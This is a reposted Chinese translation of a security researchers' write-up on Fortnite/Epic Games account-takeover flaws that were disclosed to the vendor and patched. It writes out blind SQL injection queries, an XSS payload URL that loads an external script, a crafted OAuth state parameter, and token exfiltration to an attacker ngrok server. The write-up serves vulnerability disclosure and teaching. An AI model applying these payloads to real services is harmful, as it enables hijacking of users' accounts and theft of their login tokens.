看我如何黑掉堡垒之夜玩家账户

栏目: 编程工具 · 发布时间: 5年前

内容简介:Fortnite(堡垒之夜)是Epic Games游戏开发商制作的一款大型流行游戏,在虚拟世界中,Fortnite玩家的任务就是通过各种工具和武器保证自己安全,力争成为最后一个存活的单位。在过去几周时间内,Check Point Research发现了Epic Game在线平台上的多个漏洞,攻击者可以借助这些漏洞控制任何玩家的账户,浏览玩家个人账户信息、购买V-Bucks和Fortnite游戏内虚拟货币、窃听并记录玩家在游戏内的聊天信息及隐私对话。

看我如何黑掉堡垒之夜玩家账户

一、前言

Fortnite(堡垒之夜)是Epic Games游戏开发商制作的一款大型流行游戏,在虚拟世界中,Fortnite玩家的任务就是通过各种 工具 和武器保证自己安全,力争成为最后一个存活的单位。

在过去几周时间内,Check Point Research发现了Epic Game在线平台上的多个漏洞,攻击者可以借助这些漏洞控制任何玩家的账户,浏览玩家个人账户信息、购买V-Bucks和Fortnite游戏内虚拟货币、窃听并记录玩家在游戏内的聊天信息及隐私对话。

Fortnite由美国视频游戏开发商Epic Games制作,该开发商估值约为50亿至80亿美元,而这款游戏将近占了其中半壁江山。这款游戏在经济方面炙手可热,因此也吸引了网络犯罪分子的注意力。

之前攻击者会诱骗玩家登录伪造的网站,这些网站号称可以生成Fortnite游戏中的“V-Bucks”货币(这些商品通常只能通过官方的Fortnite商店购买,或者在游戏中赚取)。这些钓鱼网站会诱导玩家输入游戏登录凭据、姓名、地址和信用卡等个人信息,也会通过社交媒体进行传播,宣传玩家可以“轻松赚钱”以及“快速发家”。

然而,我们的研究团队采用了更为复杂也更为“阴险”的方法,不需要用户提供任何登录凭据。我们发现了Epic Games某些子域名的漏洞,在这些漏洞的帮助下,用户只需点击攻击者发送的链接就可以发起XSS攻击。用户点击链接后,无需输入任何登录凭据,攻击者就可以立刻获取玩家的用户名及密码。

Check Point Research向Epic Games通报了该漏洞,厂商也部署了修复补丁,保证数百万玩家能在安全环境中继续游戏。

大家可以访问 此处 观看攻击演示视频。

二、技术细节

Epic Games存在一些老的域名,比如“ http://ut2004stats.epicgames.com ”,我们的发现都源自于此。

SQL注入

在“ http://ut2004stats.epicgames.com ”子域名上,我们发现了一个有趣的GET请求,其中涉及到一个路径: /serverstats.php?server=[some server code]

看到这里我们提出了一个问题:如果“在请求中添加其他标志”,会出现什么情况?

结果服务器返回了“Server database error”(服务器数据库错误)信息!

这一点非常好,我们发现这很有可能存在 SQL 注入漏洞(此时我们认为这是一个 MYSQL 数据库)。

进一步研究后,我们发现目标中部署了一款WAF产品,使用的是黑名单机制(并没有使用白名单机制),我们首先得解决这个问题。在这个系统限制下,我们无法查询某些系统表(如 information_schema 表)。

然而我们可以使用系统变量( @@ ),似乎有些人忘记处理这些因素,并且我们可以借此完成许多任务。

Google一番后,我们发现 37514065 是一个有效的服务端代码。基于这一点,我们执行了如下查询语句,观察服务端返回的响应数据:

if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)

如果响应数据大小为 4014 字节,则代表查询结果中不存在该字符。如果响应数据大小为 12609 字节,则代表查询结果中存在该字符。

比如, if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0) 会返回 4014 字节:

请求数据如下:

看我如何黑掉堡垒之夜玩家账户

图1. 初始SQL注入查询语句

响应数据如下:

看我如何黑掉堡垒之夜玩家账户

图2. 上图SQL查询返回4014字节数据

更进一步, if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0) 查询语句返回 12609 字节,因此我们得知目标使用的是MySQL 5。

看我如何黑掉堡垒之夜玩家账户

图3. 第二次SQL注入查询

看我如何黑掉堡垒之夜玩家账户

图4. SQL查询语句返回12609字节响应数据

通过这种方法,我们可以获取一些数据,进行下一步研究。

跨站脚本(XSS)

继续研究后,我们发现“ http://ut2004stats.epicgames.com ”子域名中包含名为“maps”的一个网页。我们猜测该网页可以通过地图名称/id来展示比赛相关统计数据。

当我们在查找XSS漏洞时(不管是反射型还是存储型漏洞),我们都应该在目标页面中找到服务器对输入数据的输出,我们的确在该页面的搜索组件中找到了所需的输出点。事实上,该页面的另一个功能是搜索栏,也是我们用于XSS漏洞的注入点。

比如:

看我如何黑掉堡垒之夜玩家账户

这是我们找到的第二个突破口,表明 ut2004stats.epicgames.com 上存在XSS漏洞。该域名为 epicgames.com 的一个子域名,这一点对我们最后一个攻击阶段来说非常重要。

接管oAuth账户

在接下来几天内,我们继续搜索是否存在其他攻击点。

在这项研究工作一开始,我们团队中的某个小伙伴对SSO机制非常“来电”。在直觉的指引下,我们仔细研究了SSO,的确发现Epic Games已经实现了一个通用的SSO,用来支持多个登录提供程序(Provider)。这时候我们可以进一步分析实现细节。

事实证明,当玩家点击“Sign In”按钮登录账户时,Epic Games会生成包含 redirectedUrl 参数的一个URL(如下所示)。之后 accounts.epicgames.com 会使用该参数,将玩家重定向到对应的账户页面。

https://accounts.epicgames.com/login?productName=epic-games⟨=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true

图5. 玩家登录账户后的重定向链接

然而,我们很快发现重定向URL可以被篡改,将用户重定向到 *.epicgames.com 域名内的任意web页面。

由于我们可以控制 redirectedUrl 参数,因此可以将受害者重定向至包含XSS攻击载荷的 ut2004stats.epicgames.com 网站:

http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>

网页上的JavaScript载荷随后会向任何SSO provider发起请求,请求中包含 state 参数, accounts.epicgames.com 随后会使用该参数来完成认证过程。JavaScript载荷中包含一个精心构造的 state 参数。 state 参数的值包含经过Base64编码的JSON,而该JSON数据中包含3个键: redirectUrlclient_id 以及 prodectName 。当SSO登录过程完成后,就会使用 redirectedUrl 参数进行重定向。

多个SSO Provider

如果我们尝试登录Fortnite,就会发现Epic Games使用了多个SSO Provider:PlayStationNetwork、Xbox Live、Nintendo、Facebook以及Google+。随后我们发现,我们可以在这些SSO Provider上使用前文描述的技巧。这里我们以Facebook为例来演示。

如下所示,我们尝试构造 state 参数,使XSS载荷能够将用户重定向至 ut2004stats.epicgames.com

https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends

看我如何黑掉堡垒之夜玩家账户

图6. 使用XSS载荷重定向至 ut2004stats.epicgames.com

此时SSO Provider为Facebok,会返回跳转至 accounts.epicgames.com 的重定向响应包,其中包含我们可控的 state 参数:

看我如何黑掉堡垒之夜玩家账户

图7. Facebook返回跳转至 accounts.epicgames.com 的响应包,其中包含我们可控的state参数

随后,Epic Games会从SSO Provider读取 code (即SSO令牌)和攻击者构造的 state 参数,然后向Epic Games服务器发起请求,以便完成身份认证过程:

看我如何黑掉堡垒之夜玩家账户

图8. Epic Games向服务器发起请求,其中包含来自SSO的、由攻击者构造的 state 参数

Epic Games服务器没有验证输入信息,直接生成响应数据,将用户重定向至包含XSS载荷和SSO令牌信息的 ut2004stats.epicgames.com

看我如何黑掉堡垒之夜玩家账户

图9. Epic Games服务器响应数据中没有验证输入数据,将用户重定向至包含XSS载荷和SSO令牌信息的 ut2004stats.epicgames.com

最终,用户会被重定向至包含漏洞的网页,然后执行XSS载荷,攻击者就能窃取用户的身份认证代码:

看我如何黑掉堡垒之夜玩家账户

图10. 存在漏洞的网页上会执行XSS载荷

(对Epic Games而言)这里最大的问题在于,Epic Games服务器并没有验证 state 参数的输入数据。

请注意,用户会被重定向到包含XSS漏洞的 ut2004stats.epicgames.com 页面,因此即便Epic Games采用了CORS(跨域资源共享)机制, ut2004stats.epicgames.com 依然可以向 account.epicgames.com 发起请求。

绕过WAF

当执行XSS载荷时,WAF会采取措施,通知我们该请求已被禁止。显然,这里唯一的问题在于脚本源URL的长度,因此我们可以缩短URL长度来绕过限制。

现在我们已经找到XSS点,可以加载JavaScript,并且在 ut2004stats.epicgames.com 上下文中执行,因此是时候写一些JavaScript代码:

看我如何黑掉堡垒之夜玩家账户

图11. 用来投递XSS载荷的JavaScript代码

XSS载荷

上述代码会打开一个窗口,向SSO Provider服务器(这里为Facebook)发起oAuth请求,请求中包含用户的所有cookie信息以及我们构造的 state 参数。

Facebook随后会返回响应包,将用户重定向至 account.epicgames.com ,其中包含SSO令牌( code 参数)以及攻击者先前构造的 state 参数。

由于用户已经登录Facebook账户,因此 account.epicgames.com 服务器会重定向至在 state 参数中找到的URL地址。在这个例子中,重定向地址为 ut2004stats.epicgames.com ,其中包含XSS载荷以及Facebook用户的oAuth令牌。

最终,请求中的令牌信息会发送至攻击者的服务器(这里我们使用的是ngrok服务器: 0aa62240.ngrok.io )。

看我如何黑掉堡垒之夜玩家账户

图12. Ngrok服务器收到包含SSO令牌的请求

看我如何黑掉堡垒之夜玩家账户

图13. Ngrok服务器收到包含SSO令牌的请求

现在攻击者已经收到用户的Facebook令牌信息,可以登录受害者的账户。

看我如何黑掉堡垒之夜玩家账户

图14. 攻击者成功获取用户的Facebook令牌


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

嵌入式Linux应用开发完全手册

嵌入式Linux应用开发完全手册

韦东山 主编 / 人民邮电出版社 / 2008-8 / 69.00元

本书全部实例代码及相关工具。 基于ARM 9+Linux 206平台,从基础讲起,引导读者快速入门,实例丰富,可直接应用于工程实践。 本书全面介绍了嵌入式Linux系统开发过程中,从底层系统支持到上层GUI应用的方方面面,内容涵盖Linux操作系统的安装及相关工具的使用、配置,嵌入式编程所需要的基础知识(交叉编译工具的选项设置、Makefile语法、ARM汇编指令等),硬件部件的使用及......一起来看看 《嵌入式Linux应用开发完全手册》 这本书的介绍吧!

html转js在线工具
html转js在线工具

html转js在线工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具